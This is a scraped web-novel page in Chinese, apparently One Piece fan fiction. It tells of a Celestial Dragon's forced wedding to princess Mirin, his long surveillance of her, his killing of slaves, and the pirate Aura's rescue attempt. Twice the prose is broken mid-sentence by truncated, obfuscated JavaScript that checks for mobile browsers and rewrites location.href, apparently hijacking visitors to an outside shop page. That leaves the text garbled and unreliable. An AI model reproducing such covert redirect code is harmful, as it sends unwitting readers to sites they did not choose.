巨兽巴克发出震天的咆哮扭动头颅,脚下踩着负责人。映像电话虫也被撞到,通话完全挂断。 奥拉垂头微喘,头发的阴翳挡住了她的脸,没人能看清她的表情。 那急促起伏的胸膛间似乎酝酿着某种浓烈的情绪,跪在地上的人们忘记了要起身,都呆呆地注视着她。 一片静谧时,她深吸一口气,陡然间皮肤上的汗水被她强有力的吼声震离:“想活下去就别认命啊!!” 奥拉救不了所有人,她也带不走任何人。机会已经出现,想活下去的人自然能挣扎的活下去。而选择跪着求她们所谓的主人给条生路的人或许永远也走不出这片矿区。 语闭她不在去关注那些矿奴,扭动插在巨兽身体里的刀。 借着这股疼痛逼迫巨兽行动,三两下就冲出了人群,在奥拉的勉强控制下跑进了大山里。 27.埃尔维斯(7) “区区一个下贱的平民...!” 一声暴怒从宝石之国最中心的王之宫殿,皇家书房内传出。 身材臃肿的男人坐在华丽柔软的座椅上,空无一物的白屏上倒映着他憋红的脸。 这间书房的主人,埃尔维斯的国王则贴着墙根站立,听到声音浑身抖动了一下。他直咽唾沫,须臾掌心就全是粘腻的汗了。等了一会儿,见对方没有继续发做,只是阴沉着脸杀了充当脚凳的奴隶才慢腾腾的上前,小胡子随着面上提起的肌肉耸动,略带些讨好的意味:“皮伊堂姆圣您消消气,不过是个低贱的东西我绝对不会让她逃出埃尔维斯...” 他俯下身子,放下了属于国王的身段,挤弄眼睛暗戳戳的提醒着:“比起她,米琳可还在等着您呢。” 皮伊堂姆圣重重的哼了声表达自己的不满,可还是在国王提到米琳时微微变了表情。 国王见状立刻道:“现在我把米琳叫来见您。” “不必了。”皮伊堂姆挥手制止了国王,他往后窝进了座椅里,翘起二郎腿,“明天我要亲手摘下我的小果实~我把东西都准备好了,明天我就要举办婚礼!” “...您、您不是要回玛丽乔亚举办婚礼吗?怎么突然...?” 皮伊堂姆圣冷冷看了眼国王,国王当即闭上了嘴,双膝一软就跪到了地上。 “我可是特意准备了礼物,通知所有人明天来参加,这是我的特赦,都给我心怀感恩吧低等人们~” “至于那个拐走我安琪儿的贱民,抓住她,我要亲自处刑。” 此时,皮伊堂姆口中的贱民正骑着他精心养大的巴克,在山林里狂奔。 “奥、奥、奥拉!!!你倒是快点啊!!!” 普鲁伊特扯着嗓子,破了音的音调在密林里徘徊,鸟雀被这惊天地动鬼神的咆哮吓跑,扑扇着翅膀飞上空中只留下摇动的树枝。 树枝的下方,巨兽没有方向的乱窜。铁锅跑到了他的身下,普鲁伊特坐在铁锅里,屁股底下垫着个阿力,他紧抓着巨兽下颚的长毛,这才没被突出的地表或小石块颠飞出去。 在巨兽的头顶上,奥拉的身体随着巨兽活动被颠得差点飞起。自离开矿区以后,奥拉为了让它停下来,必须在它彻底失控前解决掉它。便松开了铁锅的手柄,转而变成单手拽住巨兽头上的鬓毛,另一只手吃力握刀。 陡然松开的铁锅倒是没有直接被甩在身后,而是在掉下去后又卡在了巨兽没来及闭合的下半处牙齿上。没有了铁锅保护,普鲁伊特和阿力身后就没有了格挡,导致他俩在巨兽跑动的过程中被巨兽甩飞,掉进了那口铁锅里被拖着往前走。 奥拉当然听到了普鲁伊特破防的尖叫,但巨兽的皮肤简直就是天生的厚甲,单只手臂的情况下,她很难一剑斩杀,只能对着巨兽的喉管反复刺过去。十几下后才堪堪没入了深层。 巨兽的疼痛到达了极限,它速度有所减慢,挣扎的幅度却变大了。彷佛知道自己的生命受到了威胁,它不管不顾的甩动身体,甚至不惜撞向粗壮的树干,只为了把在它身上作威作福的小东西整下去。 它的努力十分有成效,奥拉骑在它身上,被颠得十分难受,她感觉自己的五脏六腑好像都被颠位移了。精力不可避免的分散,接着就被大力甩了出去。她摔在深褐色的土地上,第一反应不是痛,而是——要吐了! 反胃上涌逼到口腔,她的双颊圆圆的鼓起来。可她忌惮着巨兽的威胁,生生在这个时候憋住了。 然而,粗壮的树干被撞歪,巨兽头上的长毛和血红完全纠缠在一起成了模糊的大片,喉管也被奥拉捅破了个大洞。刚刚那疯狂的举动消耗掉了他最后的力气,不知他究竟是自己撞树送走自己的,还是被奥拉杀死的。它摇摇晃晃的走向与奥拉相反的方向,没出几步就瘫倒在地上,彻底没了气息。 停下来后普鲁伊特程大字摊在了他的铁锅里,自然而然的把阿力充当成自己的肉垫。他望天呆滞了会,才将砰砰乱跳的心脏安回去,浑身放松下来,就这么躺着只脖子抬起了点去确认奥拉是否还活着。 “终、终于...喂奥拉小姐,你...” “呕——” 奥拉吐得不能自已,听到普鲁伊特的声音居然还能颤颤巍巍的朝普鲁伊特比个OK。 普鲁伊特:“你这完全不像是OK的样子啊!!” 吐出来以后,奥拉感觉自己翻腾的胃稍微好点了,她从地上坐起来:“普鲁,这个国家的事情你知道多少?” “都说了我的名字是普鲁伊特不是普鲁·伊特。”普鲁伊特还是不适应奥拉的叫法,但他只低声喃喃像只是吐槽给自己听。对于奥拉的问题他扯了扯嘴角,长长的“欸——”出了声。一如既往的看不到表情,却能莫名让人感觉到他想表达的各种情绪。 “奥拉小姐,我只是个倒霉的商人,真的不知道这个国家的事情啊~” 听上去情真意切,奥拉却不吃这套,普鲁伊特骗她的时候也是这个样子。 她手指在大腿上轻点:“倒霉?展开说说。” 普鲁伊特似乎早料到奥拉会追问,他擦了擦眼角不存在的眼泪:“那是寻常的一天,我正在城里兢兢业业的卖货,突然!被卫兵抓走说我卖的货有问题。可我让她们拿出证据,她们又拿不出来半点不讲律法,直接给我关进了矿区里。你说我冤不冤呐!” 冤不冤?以奥拉最近和他几次接触来说,还真不一定是错抓了他。 “不过,多亏了奥拉小姐我现在获救了!”见奥拉没搭茬,他干笑两声,“这个国家怎么样都与我们没关系了,东西我也拿完了,我们快走吧。” “不,现在不走。” “不、不走,真是可惜了,我还有急事,那我就先.....”普鲁伊特收起铁锅,背上自己的大包不等奥拉回答扭头就要匆匆离开。 忽然,一抹银色以极快的速度朝着普鲁伊特的方向飞过来。 “锵!”地深深的没入了树干,停在普鲁伊特的身前,隔断了他丝缕头发。毫无疑问他若是刚刚再往前走一步,这柄长刀就会插进他的头里。幽幽的声音从他身后跟上来:“你也不准走。” 闻言普鲁伊特像是生锈的机器,一卡一卡的转回身。只见奥拉盘坐在地,单腿立起胳膊肘放置在膝盖上,反手撑住了下巴,明明是低着头眼睛却始终盯着上方露出些许眼白。不做任何表情的时候更衬得出身上的伤疤,某种危险的气息出现升高在她的周身打转。 “你骗了我,你知道骗海贼的下场是什么吗?”她语气淡淡,没被手掌盖住的另侧嘴角勾了勾。“我要去城镇里带走一个人,你也来帮忙,我就不和你计较了。” 海贼? 普鲁伊特神情大变,虽然在高领衣的遮挡下没人能看见。他惊疑不定的目光在奥拉身上游走,很快他露出一个比哭还难看的微笑:“您说的是什么话,您都开口了,我肯定帮忙啊!” 奥拉面色不变微微颔首,实则心里偷偷松了口气,对付这种见人说人话见鬼说鬼话的油滑家伙,果然还是得装的凶一点。若是普鲁伊特坚决要走,那他就会发现,奥拉拿他根本就没办法。扔刀什么的都是提前计 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听到阿力的话,普鲁伊特怔住了。像他这种常年混迹在海上的人,怎么会不知道世界贵族是什么样的存在。他想起在矿区时,他躲在铁锅里听到的下令杀人的声音,反应过来那是谁在说话。他顿时感觉双腿发软跟面条一样抖的无法控制。 奥拉还是那副没什么表情的样子,对世界贵族来到埃尔维斯的反应不大,她只想知道这个让米琳留下的地方,它真的值得吗? “没有让公主发现...为她而存在...这个国家究竟发生了什么,又在隐瞒什么?” 话题到这,阿力十指扣进土地,在地上留下长长的指印,他呼吸急促起来有什么东西要冲出他的身体似的。但最后还是一切归于平静,他闭上了眼:“知道了又能怎么样呢。” 阿力和普鲁伊特都清楚的知道不能怎么样,这个世界就是围绕着天龙人运转的。比起知道这些可能惹怒大人物的事情,抓紧逃跑才是最主要的。 奥拉撑着膝盖站起来,收回自己的刀。在路过阿力时停了会:“你不杀我了?” “我杀不了你,不代表你能活着离开。”他手挡住脸,语气恹恹,“我和弟弟也是。” 他遇见了自己与家人必死的未来,并且放弃了最后的挣扎,因为他知道挣扎是没用的。 对此奥拉没有发表意见,也没有强求普鲁伊特跟她一起进入城镇。她把蓝色的珠子交给普鲁伊特:“普鲁,麻烦你明天把船开到港口去等我,这个就当作报酬了。”话了她还不忘威胁,“如果你不来的话,上次加这次......”她阴着脸手掌由左至右划过,过了个割喉的动作。 “好、好的,我一定会到的!”普鲁伊特怎么敢不答应,他巴不得奥拉赶紧去送死让他脱身呢。他笑的十分殷勤,就是腿还控制不住的发抖。他看着奥拉离去的背影,最后还是没忍住高声提醒:“那可是世界贵族哦,嫁过去的话,公主殿下和埃尔维斯都能得到不菲的好处哦!” 他话里话外的意思很明显,那就是奥拉能把人带走的概率低的几乎没有。 普鲁伊特不认为奥拉会不清楚这件事,他不理解她为什么即便知道还是要去。他觉得奥拉在矿区里喊的那句话很对,想活下去就别认命,可话又说回来,别人的命和自己又有什么关系呢,谁又能阻止别人认命呢。 远远的,奥拉没回头,声音却很清楚传递回来:“我只是想再去问她一次。” 如果她要走,她就带她走。 28.埃尔维斯(8) 公主的使命是什么? “让我们的国家更加强大。” “让我们的子民拥有幸福的未来。” “所有皇室的血脉都要铭记自己的使命,用全部的生命去将它延续下去。” 这是从小便深扎在米琳灵魂里的教导与告诫。 父王告诉她,她是国家的珍宝也是国家的未来。 母后告诉她,是国民养育了她,她要活的出色,要为国民而生。 小小的米琳认可了这样的说法,并在此后的十数年维持着这样的理念。所以她可以自愿嫁给素未谋面的陌生人,来为国家换取更大的利益。所以她可以在发现父王的谎言后,依然履行自己的职责,因为所有人都会从中获得好处。 至于她的内心如何想,又如何动摇,米琳认为那并不重要,比起这个国家的未来它不值一提。 “公主殿下,终于到了这一天了。”麻花辫侍女带着哭腔,激动的泪水在眼眶里打转,“您准备好了吗,我们要出去了!” 米琳抬眼最后看了眼镜子中的自己,放下了头纱。 她的婚礼要开始了。 埃尔维斯第一大公主的婚礼可是个大事。在这一日,埃尔维斯本地的店铺几乎全部歇业,住在偏远深山里的村民整个村落共同行动,甚至举办到一半的采石节都被叫停。国民们放下所有的事情,都要来参与这场在国都中心举行的盛大婚礼。 公主从小到大几乎没有离开过宫殿,见过公主本人的国民更是少之又少,问她们对公主有多少崇敬那是没有的,可唯独公主大婚这件事是所有人都在期待、祈祷尽快发生的事情。 终于,她们期盼的未来发生了。今天公主成年了,今天公主要出嫁了。 每个人脸上的表情都是喜悦的,哪怕是产生过龃龉的人,在街上相遇也会笑着与对方打招呼。所有人都清楚,今天将会是能够记入埃尔维斯史册的重大盛典。 只因为公主的未婚夫是这个世界上最尊贵的世界贵族,世界造物主的后裔,天龙人大人。 “婚礼要开始了!” 宫殿的大门从里打开,深红色的地毯向外滚动延展,不多时便铺到了路的尽头。彩带与烟花在齐齐空中炸开,五颜六色又张扬肆意的恭贺词在空中书写,只为让一人观赏。随着婚礼开始,大门打开后不懂事的孩子被身旁的家长按着头贴到了地上,当孩子好奇用余光打量四周时,便发现周围所有人都虔诚的低下了头颅,朝着红毯跪拜。 “都抬起头来。” 懒散的声音从众人头顶传来,她们听从命令抬起头后看到的先是跪在地上的男人。 他十分健壮肌肉结实,虽然是跪着的但照旧能够看出他身形的高大。他脖颈上带着铁质的项圈,项圈之外滑稽的带着个蝴蝶结。那牵着项圈的锁链拉的很直,男人不得不跟着锁链的方向仰起头,只这缓解不了任何窒息的感觉,他面色铁青看起来快要呼吸不上来了。 这里没有人去关注这个奴隶的状态,她们只扫了他一眼,便顺着锁链的方向看过去,掌控着锁链的主人正坐在男人背上的座椅中。人们到这时视线便及时打住了,最多只会看看他的鞋,便不敢在往上看了。 这时,宫廷的乐队奏起了乐声,那是埃尔维斯传统的婚礼配乐。 这场婚礼的第二位主人公便是踏着这悦耳的音符由宫内走出来的。 她美眸微垂,薄薄的白色头纱挡住了她的脸,即便是若隐若现的美貌也深深吸引人的视线。公主的婚纱完美融合了埃尔维斯的特产——那洁白的裙子在阳光下闪着奇妙的光,仔细看去竟然是一个个芝麻大小的宝石粒。 公主轻轻挽着国王的胳膊,另只手拿着束绚丽夺目的花,由颜色各异的宝石组成栩栩如生。 在所有人的视线都集中在公主殿下身上时,高高在上的皮伊堂姆圣更是眼睛都看直了,这是他与米琳在现实中的第一次见面。 这位被精心培养的公主有副好胚子,这是见过各色美人的皮伊堂姆圣都要承认的事情。 更重要的是,这是他亲手种下的果实,今日终于到了采收的时候。 他迫不及待的跳下自己的坐骑,不顾任何礼仪与流程直接跑到了米琳的身边。国王见状即有眼色的先一步收回了手臂,并牵着米琳的手交到了皮伊堂姆圣的手上。 “我可爱的安琪儿,我终于见到你了!” 皮伊堂姆掀起挡在米琳脸前碍事的头纱,双手用力包住米琳白皙的手,将她牵在身边。 “我也一直期待与您......” 米琳的话卡在了嗓子里。 皮伊堂姆圣跟着米琳的视线看过去,他恍然大悟,兴致勃勃的向米琳介绍:“那是我的坐骑哦~”理所当然的点头,“也可以是你的,奴隶而已,等回了玛丽乔亚我多买几个给你。” 坐骑?奴隶?那不是活生生的人吗? 米琳嗓子有些紧,那些准备好的场面话都被堵在里面无法说出口。她求助的望向自己的父亲,然而触及到自己女儿眼神的国王,头向着皮伊堂姆圣的方向偏了偏示意她不要冷场。对于奴隶,国王什么都没有解释,他看上去习以为常似的,只在乎米琳的举动会不会惹怒皮伊堂姆圣。 “啊!你不喜欢他?”皮伊堂姆圣做了个嫌弃的表情,他抽出别在腰间的枪,没有任何犹豫,对着刚刚还拖着他行走的奴隶的脑袋开了两枪。鲜血溅到深红色的地毯上似乎看不到痕迹,奴隶连痛呼都没有就倒在了地上。而皮伊堂姆圣笑嘻嘻的,杀一个人跟碾死一只蚂蚁没什么区别,也不会让他产生多余的波动。 他牵着米琳微微颤抖的手,明明看到了她的僵硬,却视而不见:“听好了米琳,不喜欢的东西除掉就是了!从此你便不需要在束缚自己,来人——” 他一声令下,几乎同时,刚刚还为米琳结婚而偷偷抹泪的麻花辫女仆躬着身子从宫殿里快步走出来,双手向上托着把纯白色的弓,背着箭筒,没有了往日的活泼与毛躁,沉稳的、谦卑的走到米琳的身旁,与众人一样双膝着地,高高举起那柄纯色的弓。 米琳看到弓的瞬间,宝石般蓝色的眼睛里漫上了深深的不可置信。在这一瞬间,无数的念头从她的脑海里冲刷,可没有一个能够解释眼前的荒唐。 皮伊堂姆将米琳的手置于白弓之上:“你不是喜欢射箭吗?” “为了成为出色的公主一直在忍耐吧!” “没关系,从今天开始你可以不用再忍耐了。来吧,射出通向自由的一箭,杀掉这些胆敢让你放在心上的贱民,从此你便只是我皮伊堂姆的安琪儿了!” 米琳的眼前阵阵发花,白弓的触感她十分熟悉,她能肯定这是她的白弓。 可是,他为什么会知道这件事? 米琳从小接受的就是精英教育,淑女教育。她从小就知道她是有婚约的,她未来要嫁给世界上最有权势的人,也因此父亲才会称她是全埃尔维斯最珍贵的宝贝。为了配得上这个头衔,她的饮食起居都受到了严格的管理。 作为一个妻子,要有极好的礼仪要让丈夫带她出去时脸上有光。 作为一个妻子,要有广博的学问在各方面帮助丈夫取得成就。 作为一个妻子,要有极美的皮囊能够留住丈夫的心。 所以即便在宫殿中,在自己的家里,米琳也不能放松。走路时的间距,不同场合手摆放的位置,脸上的表情,身上的衣物,说话的方式全部是严格规定好要遵守的。她学习国家的律法,历史,不断的看书了解外面的世界只为了在见到陌生人般的丈夫时随时能够接上他的话题。她本就生的极好,可这还不够,她不能够跑跳,那不够优雅不是淑女的作为,也太危险如果受伤了可能会留疤。也不能够随意的出门,似乎越少人见到她的长相,她的容貌就会变得更值钱似的。 弓箭,它只是米琳小小的叛逆期。 好像她可以跟着这只飞跃的箭头去到世界的任何地方,自由的翱翔在天地间,再也不受任何的束缚。 她很羡慕,这是埋在她心底的,谁都没有告诉的秘密。 毕竟这太可笑了,一个享尽荣华富贵的公主,羡慕没有生命的箭?富贵病罢了。 她拜托丝柏——与她从小一同长大的麻花辫侍女。帮她偷偷藏匿了一把弓箭,偶尔她会在房间里拉动白弓,想象自己站在弦上,手一放便能得到片刻的自由。也有时会跑到庭院里用上真正的箭射上两发,用没人发现的叛逆小小的反抗下自己既定的命运。 可更过的事情是没有做过了。 这件事连她的父亲母亲都不知道,这个第一次见面的未婚夫又为什么会知道这件事呢? 除了这件事,他......还知道什么呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042499|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 见米琳半天没有反应,皮伊堂姆不悦的皱起眉毛,语气里已经有了些不耐。 “你在等什么?不是喜欢吗?本大人现在满足你,快点拿起弓来!” 米琳沉默的抓起弓箭。 这成功消解了皮伊堂姆的不满,可他刚恢复的好心情还没维持多久,就又见米琳拿着弓垂在了身侧。 米琳微微欠身:“我不会把武器对准我的子民,抱歉,未婚夫阁下。” “哈?你竟敢违抗我?”皮伊堂姆瞪大了眼,他看米琳没有半分退步的样子,气的牙痒痒。举起枪就对着米琳连开,不过到底想到对方是他的新娘,这几发子弹只穿透了米琳飘扬的头纱,没有伤到米琳本人。 而米琳在他开枪时毫不畏惧,也没有躲闪,只定定的看着她的未婚夫,表达她的坚决。 哪想,皮伊堂姆忽然收起枪,仰天大笑。 “太好了,太好了。喂,埃尔维斯你把我的任务完成的不错啊!”皮伊堂姆虽是看着米琳,话却是对着站在旁侧的国王说的。 什么意思?米琳眼中划过一丝茫然,她本能的对这种变化感到了不安。 “嘿~亲爱的,我一直期待与你相见。看着你成长的样子,我真的太开心了!”皮伊堂姆高举双手,“安琪儿,你知道吗,我一直在看着你。” 倏忽间,街道上或高或矮排布的白屏上的画面发生了变化。那本来是用来转播这场盛大的婚礼的,现在屏幕中婚礼的主角由两个人变成了一个。 从婚礼开始就安静等待着的王后在这时上前,为皮伊堂姆圣递上了话筒。 瞬间,整个埃尔维斯都听见了他的声音。 “你看,你当时才5岁,哦~那是我第一次见你,埃尔维斯选的人可真好,你果然长成了个美人。” 他得意洋洋的宣讲,那块屏幕上的米琳穿着蓬蓬的公主裙,坐在沙发软垫上歪着头,像个小人偶娃娃般。 皮伊堂姆绕到米琳的身侧,指着她右边的一块屏幕大叫:“嘿,你快看。那个时候你12岁,偷偷藏了把弓箭,以为我没发现吗?”他语气轻快,却让米琳浑身冰冷。“丝柏?叫这个名字吧。她是我的奴隶哦,不过是个低贱的奴隶却帮了我很多忙,真让人有点不爽~我同意你一会先杀了她。” 米琳已经无暇顾及听到皮伊堂姆的话跌坐在地的麻花辫侍女丝柏了,她无法相信自己的眼睛,呼吸越发急促。她的视线从一个个屏幕上扫过,停留,移开,再次停留,浑身不可遏制的颤抖。 年幼的、快乐的、悲伤的、生气的......这些屏幕上全都是她。 为什么? 她第一反应是看向站在她对面的母亲。 可一向疼爱她的母亲,会放下身份给她讲睡前故事的母亲,只站在原地冷淡的回望。 “别用这种伤人的眼神嘛,可是她们把你养大的,你的礼仪这么快就要崩盘了吗?” “还是说,你早就对把你选出来的父母不满意了?”皮伊堂姆圣故作为难的样子晃了晃肥胖的身子,“唔...你要杀她们倒也不是不行...” 选...出来是什么意思? “米琳!可是我们给你的机会,你、你不能对我们下手啊!” 王后和国王早就知道除了米琳以外,所有人都是皮伊堂姆随意支配的,只是没想到这把火这么快就烧到了自己的身上。 她们那还有国家皇室的威严,碍于米琳身边的皮伊堂姆圣,她们都不敢上前,只遥遥的用祈求的眼神看着米琳。 “什么意思,我、我的父母...” 米琳接收到她们投来的目光,忽地喉咙里涌上了股说不清道不明的恶心。 王后和国王默契的没有答话,避过了米琳迷茫的眼神。或许是害怕米琳得知真相真的杀了她们。也或许是不敢在这个时候反驳皮伊堂姆圣。 皮伊堂姆圣绕着米琳走完一圈,最后停在了米琳的身前。他比米琳挨了足足两个头,看米琳的时候还要仰起头去。他对此很不满,也撕破了最后的伪装:“你的所有都是我给你的,因为我你才是埃尔维斯的公主,因为我你才能活到现在!这些贱民把你蒙在鼓里,你还要为了她们来惹怒我吗?!” “你给我搞清楚,你是我的东西!” 在皮伊堂姆的注视下,米琳缓缓举起弓箭对准了国王。 29.埃尔维斯(9) 城镇里还真热闹。 普鲁伊特仰头,瞥了眼天空中绚丽绽放的烟花,和由那些光点拼凑出的“恭迎皮伊堂姆圣”“新婚大典”等字样。他撇撇嘴,利落的收起了登船的梯子。 安全回到自己船上的踏实感,让普鲁伊特在得知天龙人登岛后忐忑不安的心稍稍平稳了些。他展开地图,熟练的调整船头,准备一鼓作气直接离开这座倒霉的岛屿。 至于帮助奥拉......奥拉是谁?他不认识,也没见过。 停泊在森林里的船只发出低沉的嗡鸣,很快在普鲁伊特的操作下缓缓升高,两排轮子从船底伸出。明明看起来只是艘普通的帆船,此刻却如同战车一样在陆地上快速行进,在地上压出两道深深的滚轮痕迹。 普鲁伊特单手控制船舵,另只手惬意的插在兜里,时不时摸一摸口袋里圆润的珠子,心情颇好的扬起嘴角。 他接过奥拉给他的珠子时曾仔细观察过,那虽是他从未见过的宝石样式,可这颗珠子色泽透亮,拿在手里有股清凉感,内部就像夜晚的天空透着点点星云。凭借着商人的阅历他当下就能断定这颗珠子绝对价格不菲。 临走还得到了高级货,这趟他捞的钱可不少。普鲁伊特美滋滋的盘算着离岛的安排。没有把珠子和其他宝石一块堆在甲板上,而是爱惜的放进了口袋里。 指腹传来温润的触感。一下,两下。 第三下,摸了个空。 普鲁伊特揣在兜里的手猛然顿住,反应过来又在口袋里摸索了半天,才诧异的抽出手,把口袋也翻了出来。 没有。 他不敢相信自己的眼睛,手顺着衣袍从上至下急急拍打。 还是没有。 怎么回事? 冷汗“唰”地冒了出来。 刚刚还在手里的珠子,怎么就不翼而飞了! 普鲁伊特急忙低下头,在甲板上寻找。就在这时,他脖子一冷。顿时他浑身僵住,眼睛从甲板慢慢移到了右侧脖颈。 一柄幽蓝色的长剑正稳稳地横在那里,刃口直逼。 他咯噔一下,缓缓举起双手示意自己的无害。 船在失去掌控后方向偏移,船身撞上粗壮的树干,产生剧烈的颤动。普鲁伊特等的就是这个时机!他肌肉绷紧准备借势逃离剑刃的范围。 然而,架在他脖颈地剑刃纹丝不动。不仅没有偏离半分,反而随着船身地摇晃,又往他的方向压入了不少。 普鲁伊特的高领衣被剑砍出道大口子,隐隐的刺痛传来。普鲁伊特心底一凉,当即放弃了抵抗。 他慌忙握住船舵,稳住船身,至少让自己稳一点别被直接晃到对方的剑刃里面去。 “这位大人,您找我有、有什么事吗?” 普鲁伊特声音发干,他小心翼翼的往剑的反方向移动,那把剑根本不给他逃跑的机会,立刻粘了上来。 接着一根蓝色的手指出现在普鲁伊特的视线内,直直的指着某个方向。 普鲁伊特盯着那根手指,忽然觉得有些熟悉。他舔舔嘴唇,大着胆子悄悄侧了点头。 就看见在他身后,浑身由蓝色组成的小人目不斜视的盯着手指的方向——哦,如果她有眼睛的话。看到她普鲁伊特立刻明白了这股熟悉由何而来,这鬼东西身上蔓延的星云他可太熟悉了。 这是他的珠子?! 紧接着奥拉威胁他时那张面无表情的脸,和递出珠子时意味深长地眼神就出现在了他的脑海里。 他一下全想通了。 普鲁伊特抓紧了船舵,轻轻咬牙发出‘吱吱’的声响,万万没想到他也有被人坑的一天。 即便不情愿,他也还是跟着手指的方向更改了位置。同样是死,要是能选择死期的话,他当然会选择离自己死期更远的那一天。 另一头,远在埃尔维斯的城镇里。 奥拉默不作声的穿梭在拥挤的人群中,路过一块块记录着米琳过去的屏幕前。她余光不可避免的与屏幕上的米琳对撞,每张闪过去的脸似乎都在注视着跑动的她,如此安静的、听话的。 这让她十分不适。 她的耳边充斥着的是这个国家民众们的欢呼声,是陌生男人通过喇叭传递到全国的恶心的宣言。 她们不为自己的公主而难过,只齐聚在一块块屏幕下大笑,脸上因兴奋而泛红,肆无忌惮的谈论着她们国家的公主。 “等了这么多年,公主殿下终于出嫁了!” 人们为她欢笑,为她的婚礼喜悦。笑着笑着还有人低头抹起了眼泪。 旁边立刻响起戏谑地附和:“可不是嘛~养了那么久,终于派上用场,以后我们也不用殚精竭虑了。” 毫无疑问,埃尔维斯地子民们无比地重视着她们的公主,她们爱她,她是国民们期盼送出的珍贵礼物。可她们也贬低她,用一种轻慢的不屑的语气描述她这个高高在上的玩物。 所有埃尔维斯人参与进了这场针对公主的谎言中。 奥拉穿行在其中,只一个劲的向前。 她现在终于知道这个国家究竟在隐瞒什么了,也明白了阿力的认命与矿区里那让人绝望的氛围。 大家都是共谋者,她们将所有的希望都系在一个人身上。 太过荒谬。 一股无言的愤怒烧上她的心头。 她回想起初见米琳时,她利落的身手。被她带走后在高坡上展露的骄傲与自信。那些也都是真实的她,与屏幕上鲜活的她一样。这些真实组成的是一具新鲜的血肉,是一具拥有灵魂的身体,可又有多少人在乎呢。 奥拉不是非米琳不可,起初她对米琳的邀请不过是对她实力的认可。在米琳连续拒绝了她两次后,她本都打算直接离开了。若不是被普鲁伊特欺骗,卷入了矿区的是非里,她现在估计已经回到海上了。 可现在她居然有点可耻的庆幸。 在经历过矿区事件,触及到这个国家部分的阴暗后她的想法变了。 同情?或许有一点吧。 但更多的是一种恼火——米琳就是为了这种垃圾地方拒绝她的邀请? 为了一个蔑视生命的烂人压抑自己的内心? 总感觉……很不爽。 奥拉意外获得机会能够重活一次,这次她很通透,她想要随心所欲的活一次,去见没见过的景色,去经历没经历过的事情。 她想要米琳,就会主动出击。她为米琳的事情感到愤怒。那她就要跟随自己的心意行动。 奥拉没有鲁莽的冲到婚礼现场,她抬头看了眼变化的屏幕,上面正播放着米琳将弓箭对准国王的镜头。 这让身处在婚礼外围的群众中爆发了一阵议论,不少人在看到这幕后脸色惨白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她跨过卫兵,一只壳上竖着类似于天线的电话虫正被放在高处。 以电话虫这个角度,正好能够拍摄到从大门口走出来的皮伊堂姆圣和米琳。 所有的电话虫应该都被调整成了直播模式。 奥拉上前取下被固定住的电话虫,将它对住自己。她没用过电话虫,更不知道这种映像电话虫要怎么用,只能笨拙的摸索。 她抱着电话虫左右观察了下,先是试探的开口:“能看到我吗?” 她的声音被同步扩大,在此时因为米琳举动而变得安静的广场上非常明显。 第一次使用电话虫的感觉还挺奇妙,奥拉眼睛亮了亮。 而在下面听到奥拉声音的米琳不可置信的抬起了头。就见那块最大屏幕上的画面变了,一双明亮的眼睛占据着整个屏幕。 使用电话虫的人离得太近了,但她本人没有察觉。 她的声音清晰的灌入整个广场中。 “米琳,是我。” “和我一起去海上吧!” 米琳拿着白弓的手猛颤了下,那个本该已经离开的人,她来了。 30.埃尔维斯(10) “混蛋!给我抓住她!” 皮伊堂姆圣怒不可遏的指着大屏幕,除去被奥拉劫持的那只电话虫,其余还在现场进行转播的映像电话虫皆都对准了皮伊堂姆圣的脸。 他眉毛竖起,唾沫横飞,在泡泡头盔中满是肥肉的脸挤作一团:“抓不住她我就处死所有人!!” 他的话如惊雷一般落入死鱼塘中炸起滔天大浪,民众顿时忘记了,他刚刚还想要抛弃她们这些棋子供公主随意杀了取乐的行为。降临在头顶的更大恐惧驱使着她们开始继续为自己的主人卖命。 因为这一番话人群躁动起来,很快有人发现了奥拉的踪迹,赤红着眼大叫:“快看,她在那里!!” 众人循着他的提醒找过去,只见一个手持利刃的女人正在屋顶上奔跑,人群立刻像见了肉骨头的狗一样咬上去。有年轻力壮的年轻人同样翻上了屋檐,上不了房顶就跟在下面追,边追边抄起手边的东西砸向奥拉。 一时间,漫天的宝石混杂着路边随处可见的杂物一齐涌向奥拉。 这群人真是疯了。 奥拉灵活的起跳,跃过相隔不远的屋檐。 民众们朝着奥拉扔的东西多数都在半道落下,少数砸到了奥拉的身上。 奥拉不仅不在意,还边跑边捡起身边落下的宝石往兜里塞。 作为攻击来说不痛不痒,比起米琳差远了。 但是作为埃尔维斯民众自愿赠与的财产来说,她还可以装,请务必摩多摩多。 奥拉呼吸微喘,移动中视线穿过激动的人群,落到四周的屏幕上。 米琳还伫立在原地没有动。 奥拉心情有些复杂,米琳难道还不想走吗? 但没有太多时间给她思考,刺骨的杀意就从她身后笼罩上来。奥拉浑身泛起鸡皮疙瘩,当即矮身躲避,紧接着一只拳头几乎是蹭着她的头皮砸了过去,发出刺耳的破空声。 来人带着副墨镜,身穿黑色西装,是天龙人的保镖! 这家伙的身手可比埃尔维斯的卫兵强多了,而这样的家伙还不止一个。奥拉沉着扫视,不断有穿着西装的男人或踩着民众,或直接飞跃到屋檐上。眨眼间,她的身边已经多了数十人。 她握紧刀柄。 被包围了啊—— 婚礼现场。 随着奥拉离开,中央屏幕上的眼睛也消失了。可米琳并未顺应奥拉的邀请第一时间逃离,而是再次拉开了弓箭,只不过这次她换了方向。 那锋利的箭头指向了大呼小叫的皮伊堂姆圣。 “米琳!!” 国王比自己被指着的反应还大,爬起来就要上前制止米琳的举动,却忌惮着米琳刚刚对他出手的行为,刻意放缓动作,既做出一副护主的样子,又确保自己不会受到伤害。 王后也被她吓到,捂着嘴连连后退。 